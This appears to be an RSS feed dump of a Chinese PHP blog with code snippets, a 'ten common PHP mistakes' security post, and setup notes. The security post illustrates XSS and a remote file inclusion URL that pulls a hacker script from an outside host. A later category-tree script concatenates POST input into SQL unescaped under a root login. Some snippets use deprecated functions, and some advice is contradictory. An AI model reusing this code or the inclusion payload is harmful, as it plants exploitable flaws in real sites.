&#8216;Blur&#8217; =&gt; 18, &#8216;Canvas&#8217; =&gt; 33, &#8216;Class&#8217; =&gt; 15, &#8216;Color Palette&#8217; =&gt; 11, &#8216;Crop&#8217; =&gt; 42,<br />
&#8216;Delimiter&#8217; =&gt; 13, &#8216;Depth&#8217; =&gt; 34, &#8216;Design&#8217; =&gt; 8, &#8216;Encode&#8217; =&gt; 12, &#8216;Encryption&#8217; =&gt; 30,<br />
&#8216;Extract&#8217; =&gt; 28, &#8216;Filters&#8217; =&gt; 42);<br />
echo getCloud($arr, 12, 36);</p>
<p><strong>13. PHP寻找两个字符串的相似性</strong><br />
PHP 提供了一个极少使用的 similar_text 函数，但此函数非常有用，用于比较两个字符串并返回相似程度的百分比。<br />
similar_text($string1, $string2, $percent);<br />
//$percent will have the percentage of similarity</p>
<p><strong>14. PHP在应用程序中使用 Gravatar 通用头像</strong><br />
随着 WordPress 越来越普及，Gravatar 也随之流行。由于 Gravatar 提供了易于使用的 API，将其纳入应用程序也变得十分方便。</p>
<p>/******************<br />
*@email &#8211; Email address to show gravatar for<br />
*@size &#8211; size of gravatar<br />
*@default &#8211; URL of default gravatar to use<br />
*@rating &#8211; rating of Gravatar(G, PG, R, X)<br />
*/<br />
function show_gravatar($email, $size, $default, $rating)<br />
{<br />
echo &#8216;<img src="http://www.gravatar.com/avatar.php?gravatar_id='.md5($email).&lt;br /&gt;         '&amp;default='.$default.'&amp;size='.$size.'&amp;rating='.$rating.'" alt="" width="'.$size.'px" /><br />
height=&#8221;&#8216;.$size.&#8217;px&#8221; /&gt;&#8217;;<br />
}</p>
<p><strong>15. PHP在字符断点处截断文字</strong><br />
所谓断字 (word break)，即一个单词可在转行时断开的地方。这一函数将在断字处截断字符串。<br />
// Original PHP code by Chirp Internet: www.chirp.com.au<br />
// Please acknowledge use of this code by including this header.<br />
function myTruncate($string, $limit, $break=&#8221;.&#8221;, $pad=&#8221;&#8230;&#8221;) {<br />
// return with no change if string is shorter than $limit<br />
if(strlen($string) &lt; = $limit)<br />
return $string;</p>
<p>// is $break present between $limit and the end of the string?<br />
if(false !== ($breakpoint = strpos($string, $break, $limit))) {<br />
if($breakpoint &lt; strlen($string) &#8211; 1) {<br />
$string = substr($string, 0, $breakpoint) . $pad;<br />
}<br />
}<br />
return $string;<br />
}<br />
/***** Example ****/<br />
$short_string=myTruncate($long_string, 100, &#8216; &#8216;);</p>
<p><strong>16. PHP文件 Zip 压缩</strong><br />
/* creates a compressed zip file */<br />
function create_zip($files = array(),$destination = &#8221;,$overwrite = false) {<br />
//if the zip file already exists and overwrite is false, return false<br />
if(file_exists($destination) &amp;&amp; !$overwrite) { return false; }<br />
//vars<br />
$valid_files = array();<br />
//if files were passed in&#8230;<br />
if(is_array($files)) {<br />
//cycle through each file<br />
foreach($files as $file) {<br />
//make sure the file exists<br />
if(file_exists($file)) {<br />
$valid_files[] = $file;<br />
}<br />
}<br />
}<br />
//if we have good files&#8230;<br />
if(count($valid_files)) {<br />
//create the archive<br />
$zip = new ZipArchive();<br />
if($zip-&gt;open($destination,$overwrite ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE) !== true) {<br />
return false;<br />
}<br />
//add the files<br />
foreach($valid_files as $file) {<br />
$zip-&gt;addFile($file,$file);<br />
}<br />
//debug<br />
//echo &#8216;The zip archive contains &#8216;,$zip-&gt;numFiles,&#8217; files with a status of &#8216;,$zip-&gt;status;</p>
<p>//close the zip &#8212; done!<br />
$zip-&gt;close();</p>
<p>//check to make sure the file exists<br />
return file_exists($destination);<br />
}<br />
else<br />
{<br />
return false;<br />
}<br />
}<br />
/***** Example Usage ***/<br />
$files=array(&#8216;file1.jpg&#8217;, &#8216;file2.jpg&#8217;, &#8216;file3.gif&#8217;);<br />
create_zip($files, &#8216;myzipfile.zip&#8217;, true);</p>
<p><strong>17. PHP解压缩 Zip 文件</strong><br />
/**********************<br />
*@file &#8211; path to zip file<br />
*@destination &#8211; destination directory for unzipped files<br />
*/<br />
function unzip_file($file, $destination){<br />
// create object<br />
$zip = new ZipArchive() ;<br />
// open archive<br />
if ($zip-&gt;open($file) !== TRUE) {<br />
die (’Could not open archive’);<br />
}<br />
// extract contents to destination directory<br />
$zip-&gt;extractTo($destination);<br />
// close archive<br />
$zip-&gt;close();<br />
echo &#8216;Archive extracted to directory&#8217;;<br />
}</p>
<p><strong>18. PHP为 URL 地址预设 http 字符串</strong><br />
有时需要接受一些表单中的网址输入，但用户很少添加 http:// 字段，此代码将为网址添加该字段。<br />
if (!preg_match(&#8220;/^(http|ftp):/&#8221;, $_POST['url'])) {<br />
$_POST['url'] = &#8216;http://&#8217;.$_POST['url'];<br />
}</p>
<p><strong>19. PHP将网址字符串转换成超级链接</strong><br />
该函数将 URL 和 E-mail 地址字符串转换为可点击的超级链接。<br />
function makeClickableLinks($text) {<br />
$text = eregi_replace(&#8216;(((f|ht){1}tp://)[-a-zA-Z0-9@:%_+.~#?&amp;//=]+)&#8217;,<br />
&#8216;<a href="\1">\1</a>&#8216;, $text);<br />
$text = eregi_replace(&#8216;([[:space:]()[{}])(www.[-a-zA-Z0-9@:%_+.~#?&amp;//=]+)&#8217;,<br />
&#8216;\1<a href="http://\2">\2</a>&#8216;, $text);<br />
$text = eregi_replace(&#8216;([_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,3})&#8217;,<br />
&#8216;<a href="mailto:\1">\1</a>&#8216;, $text);</p>
<p>return $text;<br />
}</p>
<p><strong>20. PHP调整图像尺寸</strong><br />
创建图像缩略图需要许多时间，此代码将有助于了解缩略图的逻辑。<br />
/**********************<br />
*@filename &#8211; path to the image<br />
*@tmpname &#8211; temporary path to thumbnail<br />
*@xmax &#8211; max width<br />
*@ymax &#8211; max height<br />
*/<br />
function resize_image($filename, $tmpname, $xmax, $ymax)<br />
{<br />
$ext = explode(&#8220;.&#8221;, $filename);<br />
$ext = $ext[count($ext)-1];</p>
<p>if($ext == &#8220;jpg&#8221; || $ext == &#8220;jpeg&#8221;)<br />
$im = imagecreatefromjpeg($tmpname);<br />
elseif($ext == &#8220;png&#8221;)<br />
$im = imagecreatefrompng($tmpname);<br />
elseif($ext == &#8220;gif&#8221;)<br />
$im = imagecreatefromgif($tmpname);</p>
<p>$x = imagesx($im);<br />
$y = imagesy($im);</p>
<p>if($x &lt; = $xmax &amp;&amp; $y &lt;= $ymax)<br />
return $im;</p>
<p>if($x &gt;= $y) {<br />
$newx = $xmax;<br />
$newy = $newx * $y / $x;<br />
}<br />
else {<br />
$newy = $ymax;<br />
$newx = $x / $y * $newy;<br />
}</p>
<p>$im2 = imagecreatetruecolor($newx, $newy);<br />
imagecopyresized($im2, $im, 0, 0, 0, 0, floor($newx), floor($newy), $x, $y);<br />
return $im2;<br />
}</p>
<p><strong>21. PHP检测 ajax 请求</strong><br />
大多数的 JavaScript 框架如 jquery，Mootools 等，在发出 Ajax 请求时，都会发送额外的 HTTP_X_REQUESTED_WITH 头部信息，头当他们一个ajax请求，因此你可以在服务器端侦测到 Ajax 请求。<br />
if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) &amp;&amp; strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == &#8216;xmlhttprequest&#8217;){<br />
//If AJAX Request Then<br />
}else{<br />
//something else<br />
}</p>
<p>英文原稿：<a href="http://webdeveloperplus.com/php/21-really-useful-handy-php-code-snippets/">21 Really Useful &amp; Handy PHP Code Snippets | Web Developer Plus</a><br />
翻译整理：<a href="http://www.mangguo.org/21-useful-handy-php-code-snippet">21+ 实用便捷的 PHP 代码摘录 | 芒果</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ZT:PHP程序员最易犯10种错误</title>
		<link>http://www.dayu.name/p/462.html</link>
		<comments>http://www.dayu.name/p/462.html#comments</comments>
		<pubDate>Tue, 26 Jan 2010 05:14:13 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=462</guid>
		<description><![CDATA[PHP是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表，列出了PHP程序员经常犯的10中错误，大多数和安全相关。看看你犯了几种。 1.不转意html entities 一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。 echo $_GET['usename'] ; 这个例子有可能输出： &#60;scrīpt&#62;/*更改admin密码的脚本或设置cookie的脚本*/&#60;/scrīpt&#62; 这是一个明显的安全隐患，除非你保证你的用户都正确的输入。 如何修复 ： 我们需要将&#8221;&#60; &#8220;,&#8221;&#62;&#8221;,&#8221;and&#8221; 等转换成正确的HTML表示(&#60; , &#62;&#8217;, and &#8220;)，函数htmlspecialchars 和 htmlentities()正是干这个活的。 正确的方法： echo htmlspecialchars($_GET['username'], ENT_QUOTES); 2. 不转意SQL输入 我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说，他们已经在 php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！ 如何修复： 和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数 正确做法： &#60;?php $sql = &#8220;UPDATE users SET name=&#8217;.mysql_real_escape_string($name).&#8217; WHERE id=&#8217;.mysql_real_escape_string ($id).&#8217;&#8221;; mysql_query($sql); ?&#62; 3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie() 遇到过这个警告吗? &#8220;warning: Cannot [...]]]></description>
			<content:encoded><![CDATA[<p>PHP是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表，列出了PHP程序员经常犯的10中错误，大多数和安全相关。看看你犯了几种。<span id="more-462"></span></p>
<p>1.不转意html entities</p>
<p>一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">echo $_GET['usename'] ;</td>
</tr>
</tbody>
</table>
<p>这个例子有可能输出：</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">&lt;scrīpt&gt;/*更改admin密码的脚本或设置cookie的脚本*/&lt;/scrīpt&gt;</td>
</tr>
</tbody>
</table>
<p>这是一个明显的安全隐患，除非你保证你的用户都正确的输入。</p>
<p><strong>如何修复 ：</strong></p>
<p>我们需要将&#8221;&lt; &#8220;,&#8221;&gt;&#8221;,&#8221;and&#8221; 等转换成正确的HTML表示(&lt; , &gt;&#8217;, and &#8220;)，函数htmlspecialchars 和 htmlentities()正是干这个活的。</p>
<p><strong>正确的方法：</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">echo htmlspecialchars($_GET['username'], ENT_QUOTES);</td>
</tr>
</tbody>
</table>
<p><strong>2. 不转意SQL输入</strong></p>
<p>我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法。有人对我说，他们已经在 php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！</p>
<p><strong>如何修复：</strong></p>
<p>和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数</p>
<p><strong>正确做法：</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">&lt;?php<br />
$sql = &#8220;UPDATE users SET<br />
name=&#8217;.mysql_real_escape_string($name).&#8217;<br />
WHERE id=&#8217;.mysql_real_escape_string ($id).&#8217;&#8221;;<br />
mysql_query($sql);<br />
?&gt;</td>
</tr>
</tbody>
</table>
<p><strong>3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()</strong></p>
<p>遇到过这个警告吗?</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">&#8220;warning: Cannot add header information &#8211; headers already sent [....]</td>
</tr>
</tbody>
</table>
<p>每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。</p>
<p>头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。</p>
<p>如果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发， 而在部署到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设 置……</p>
<p><strong>如何修复:</strong></p>
<p>确保在输出之前调用http-header相关的函数，并且令<strong>output_buffering = Off</strong>。</p>
<p><strong>4. Require 或 include 的文件使用不安全的数据</strong></p>
<p><strong>再次强调：</strong>不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。</p>
<p>例如:</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">index.php<br />
&lt;?<br />
//including header, config, database connection, etc<br />
include($_GET['filename']);<br />
//including footer<br />
?&gt;</td>
</tr>
</tbody>
</table>
<p>现在任一个黑客现在都可以用:</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">http://www.yourdomain.com/index.php?filename=anyfile.txt</td>
</tr>
</tbody>
</table>
<p>来获取你的机密信息，或执行一个PHP脚本。</p>
<p>如果<strong>allow_url_fopen=On</strong>，你更是死定了：</p>
<p>试试这个输入：</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb"><a href="http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php">http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php</a></td>
</tr>
</tbody>
</table>
<p>现在你的网页中包含了<a href="http://www.youaredoomed.com/phphack.php">http://www.youaredoomed.com/phphack.php</a>的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。</p>
<p><strong>如何修复：</strong></p>
<p>你必须自己控制哪些文件可以包含在的include或require指令中。</p>
<p>下面是一个快速但不全面的解决方法：</p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">&lt;?<br />
//Include only files that are allowed.<br />
$allowedFiles = array(&#8216;file1.txt&#8217;,'file2.txt&#8217;,'file3.txt&#8217;);<br />
if(in_array((string)$_GET['filename'],$allowedFiles)) {<br />
include($_GET['filename']);<br />
}<br />
else{<br />
exit(&#8216;not allowed&#8217;);<br />
}<br />
?&gt;</td>
</tr>
</tbody>
</table>
<p><strong>5. 语法错误</strong></p>
<p>语法错误包括所有的词法和语法错误，太常见了，以至于我不得不在这里列出。解决办法就是认真学习PHP的语法，仔细一点不要漏掉一个括号，大括号，分号，引号。还有就是换个好的编辑器，就不要用记事本了！</p>
<p><strong>6.很少使用或不用面向对象</strong></p>
<p>很多的项目都没有使用PHP的面向对象技术，结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多，越来越好，我们没有理由不使用面向对象。</p>
<p><strong>7. 不使用framework</strong></p>
<p>95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事，我们为何不使用他们呢？</p>
<p><strong>8. 不知道PHP中已经有的功能</strong></p>
<p>PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual，在google上检索一下，也许会有新的发现！PHP中的exec()是一个强大的函数，可以执行cmd shell，并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()。</p>
<p><strong>9.使用旧版本的PHP</strong></p>
<p>很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据<a href="http://www.nexen.net/">http://www.nexen.net</a>的调查只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4。</p>
<p><strong>10.对引号做两次转意</strong></p>
<p>见过网页中出现\&#8217;或\&#8217;&#8221;吗？这通常是因为在开发者的环境中magic_quotes 设置为off，而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。</p>
<p><strong>原始文本：</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">It&#8217;s a string</td>
</tr>
</tbody>
</table>
<p><strong>magic quotes on :</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">It\&#8217;s a string</td>
</tr>
</tbody>
</table>
<p><strong>又运行一次 addslashes():</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">It\\&#8217;s a string</td>
</tr>
</tbody>
</table>
<p><strong>HTML输出:</strong></p>
<table style="border: 1px solid #0099cc; table-layout: fixed;" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="word-wrap: break-word;" bgcolor="#ddedfb">It\&#8217;s a string</td>
</tr>
</tbody>
</table>
<p>还有一种情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/462.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>原创：PHP中session的有效期问题</title>
		<link>http://www.dayu.name/p/458.html</link>
		<comments>http://www.dayu.name/p/458.html#comments</comments>
		<pubDate>Mon, 25 Jan 2010 06:51:46 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=458</guid>
		<description><![CDATA[当session的会话id是通过cookie保存的时候，我们可以自定义设置session变量的过期时间。 在PHP.ini文件中，session.cookie_lifetime 的配置项是设置session的cookie生命周期，可以将其设为指定时间（单位：秒）后session_id过期，即改session_id所对应的会话内变量全部过期。 若无php.ini文件的修改权，可以在脚本代码中通过ini_set函数临时设置session.cookie_lifetime的值： ini_set(&#8220;session.cookie_lifetime&#8221;, &#8220;30&#8243;); 建议代码中使用setcookie的方法注册带有失效时间的session_id： setcookie(session_name(), session_id(), time() + 30, &#8220;/&#8221;); 这里session_name()函数取得的是默认的PHPSESSID；session_id()返回当前会话的编号； 注意： session变量生存周期的概念； 1、浏览器关闭后开始的一段时间后session失效 2、浏览器不关闭，但没有任何操作（无数据刷新等交互动作），一段时间后session失效 所以，如果设置了session变量后不停刷新页面，是感觉不到session会失效的哈~~~]]></description>
			<content:encoded><![CDATA[<p>当session的会话id是通过cookie保存的时候，我们可以自定义设置session变量的过期时间。<span id="more-458"></span></p>
<p>在PHP.ini文件中，session.cookie_lifetime 的配置项是设置session的cookie生命周期，可以将其设为指定时间（单位：秒）后session_id过期，即改session_id所对应的会话内变量全部过期。</p>
<p>若无php.ini文件的修改权，可以在脚本代码中通过ini_set函数临时设置session.cookie_lifetime的值：</p>
<p>ini_set(&#8220;session.cookie_lifetime&#8221;, &#8220;30&#8243;);</p>
<p>建议代码中使用setcookie的方法注册带有失效时间的session_id：</p>
<p>setcookie(session_name(), session_id(), time() + 30, &#8220;/&#8221;);</p>
<p>这里session_name()函数取得的是默认的PHPSESSID；session_id()返回当前会话的编号；</p>
<p><strong>注意：<br />
session变量生存周期的概念；</strong><br />
1、浏览器关闭后开始的一段时间后session失效<br />
2、浏览器不关闭，但没有任何操作（无数据刷新等交互动作），一段时间后session失效</p>
<p>所以，如果设置了session变量后不停刷新页面，是感觉不到session会失效的哈~~~</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/458.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache2.2.14+Mysql5.1+PHP5.2.12在windows下的安装手册</title>
		<link>http://www.dayu.name/p/450.html</link>
		<comments>http://www.dayu.name/p/450.html#comments</comments>
		<pubDate>Mon, 18 Jan 2010 03:38:29 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=450</guid>
		<description><![CDATA[相信很多朋友初次学习PHP还是在Windows的平台环境下，该文会帮助其快速搭建一个合适的开发环境。 一、Apache正常安装 建议激活rewrite模块 二、PHP解压安装（正确合理的安装，不需要copy任何文件到其他目录） httpd.conf中添加的配置信息 PHPIniDir &#8220;d:\amp\PHP&#8221; # 注意此处的设置，PHP在windows下的安装包自动添加的代码有问题，末尾不需要再添加反 斜线（\） LoadFile &#8220;d:\amp\php\libmysql.dll&#8221; # 注意此处，可以直接加载，不需要copy文件 LoadModule php5_module &#8220;d:/amp/PHP/php5apache2_2.dll&#8221; AddType application/x-httpd-php .php AddType application/x-httpd-php .php3 DirectoryIndex index.html index.php index.htm PHP.ini采用推荐的模板，需要设置的项目如下： short_open_tag = Off # 改为On display_errors = Off # 改为Off register_globals = Off # 改为Off extension_dir = &#8220;./&#8221; # 设置为对应的ext目录(&#8220;d:/amp/php/ext/&#8221;) 打开以下扩展 extension=php_curl.dll extension=php_gd2.dll extension=php_mbstring.dll extension=php_mcrypt.dll extension=php_mhash.dll extension=php_mysql.dll [...]]]></description>
			<content:encoded><![CDATA[<p>相信很多朋友初次学习PHP还是在Windows的平台环境下，该文会帮助其快速搭建一个合适的开发环境。<span id="more-450"></span></p>
<p><strong>一、Apache正常安装</strong><br />
建议激活rewrite模块<br />
<strong>二、PHP解压安装</strong>（正确合理的安装，不需要copy任何文件到其他目录）<br />
httpd.conf中添加的配置信息</p>
<p>PHPIniDir &#8220;d:\amp\PHP&#8221;	# 注意此处的设置，PHP在windows下的安装包自动添加的代码有问题，末尾不需要再添加反 斜线（\）<br />
LoadFile &#8220;d:\amp\php\libmysql.dll&#8221; # 注意此处，可以直接加载，不需要copy文件<br />
LoadModule php5_module &#8220;d:/amp/PHP/php5apache2_2.dll&#8221;</p>
<p>AddType application/x-httpd-php .php<br />
AddType application/x-httpd-php .php3</p>
<p>DirectoryIndex index.html index.php index.htm</p>
<p>PHP.ini采用推荐的模板，需要设置的项目如下：<br />
short_open_tag = Off # 改为On<br />
display_errors = Off # 改为Off<br />
register_globals = Off # 改为Off<br />
extension_dir = &#8220;./&#8221; # 设置为对应的ext目录(&#8220;d:/amp/php/ext/&#8221;)</p>
<p>打开以下扩展<br />
extension=php_curl.dll<br />
extension=php_gd2.dll<br />
extension=php_mbstring.dll<br />
extension=php_mcrypt.dll<br />
extension=php_mhash.dll<br />
extension=php_mysql.dll<br />
extension=php_sockets.dll<br />
extension=php_xmlrpc.dll<br />
<strong>三、Mysql正常安装</strong><br />
注意：mysql在windows下安装好后，data数据库目录是安装在C:\Documents and Settings\All Users\Application Data\MySQL\MySQL Server 5.1\data目录中；<br />
修改my.ini文件中datadir 设置为 &#8220;d:/amp/data/&#8221;；<br />
推荐安装GUI软件，进行设置和管理；<br />
将log设置限制为短格式，且在1天后过期</p>
<p>另附上一个我编译好的eAccelerator.dll；注意使用版本为PHP5.2.12的<a href="http://dayu.name/wp-content/uploads/2010/01/eAccelerator.dll">eAccelerator</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/450.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>在PHP.ini中关闭错误显示后的效果</title>
		<link>http://www.dayu.name/p/421.html</link>
		<comments>http://www.dayu.name/p/421.html#comments</comments>
		<pubDate>Sun, 20 Dec 2009 07:47:37 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=421</guid>
		<description><![CDATA[在php.ini中关闭错误 display_errors = Off 关闭后，若php代码中有严重的语法错误，会显示为网页找不到。因为此时解析器无法正确完成php代码的解析。]]></description>
			<content:encoded><![CDATA[<p>在php.ini中关闭错误</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">display_errors</span><span style="color: Gray;"> = </span><span style="color: Blue;">Off</span></li>
</ol></div>
<p>关闭后，若php代码中有严重的语法错误，会显示为网页找不到。因为此时解析器无法正确完成php代码的解析。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dayu.name/p/421.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一句SQL语句搞定无限级分类树列表</title>
		<link>http://www.dayu.name/p/410.html</link>
		<comments>http://www.dayu.name/p/410.html#comments</comments>
		<pubDate>Wed, 04 Nov 2009 09:34:13 +0000</pubDate>
		<dc:creator>大宇</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://dayu.name/?p=410</guid>
		<description><![CDATA[以前总结的方法，这次教学中给同学们提到了，就实现了出来。 /* * 无限极 * 特色：单sql语句，配合php算法，即可用一句sql查询语句列出无限极目录树 * 数据结构 &#160; &#160; CREATE TABLE `cat` ( &#160; &#160; &#160; &#160; `cid` INT(5) UNSIGNED NOT NULL AUTO_INCREMENT, &#160; &#160; &#160; &#160; `cname` VARCHAR(50) NOT NULL, &#160; &#160; &#160; &#160; `lev` INT(5) UNSIGNED NOT NULL COMMENT '分类层数', &#160; &#160; &#160; &#160; `pid` INT(5) UNSIGNED NOT NULL COMMENT '上级cid', &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>以前总结的方法，这次教学中给同学们提到了，就实现了出来。</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Gray;">/*</span></li>
<li><span style="color: Gray;"> * 无限极</span></li>
<li><span style="color: Gray;"> * 特色：单sql语句，配合php算法，即可用一句sql查询语句列出无限极目录树</span></li>
<li><span style="color: Gray;"> * 数据结构</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; CREATE TABLE `cat` (</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `cid` INT(5) UNSIGNED NOT NULL AUTO_INCREMENT,</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `cname` VARCHAR(50) NOT NULL,</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `lev` INT(5) UNSIGNED NOT NULL COMMENT '分类层数',</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; `pid` INT(5) UNSIGNED NOT NULL COMMENT '上级cid',</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; PRIMARY KEY (`cid`)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; )</span></li>
<li><span style="color: Gray;"> */</span></li>
<li><span style="color: Gray;">error_reporting(7);</span></li>
<li><span style="color: Gray;">mysql_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;);</span></li>
<li><span style="color: Gray;">mysql_select_db(&quot;test&quot;);</span></li>
<li><span style="color: Gray;">mysql_query(&quot;set names utf-8&quot;);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">$act = $_GET['act'];</span></li>
<li><span style="color: Gray;">if($act == &quot;insert&quot;) {</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $cname = trim($_POST['cname']);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $pid = intval($_POST['cid']);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $query = &quot;select * from cat where cid='$pid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $res = mysql_query($query);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $row = mysql_fetch_assoc($res);</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $parent_lev = $row['lev'];</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; $query = &quot;insert into cat set cname='$cname',lev='&quot;.($parent_lev+1).&quot;',pid='$pid'&quot;;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; mysql_query($query);</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
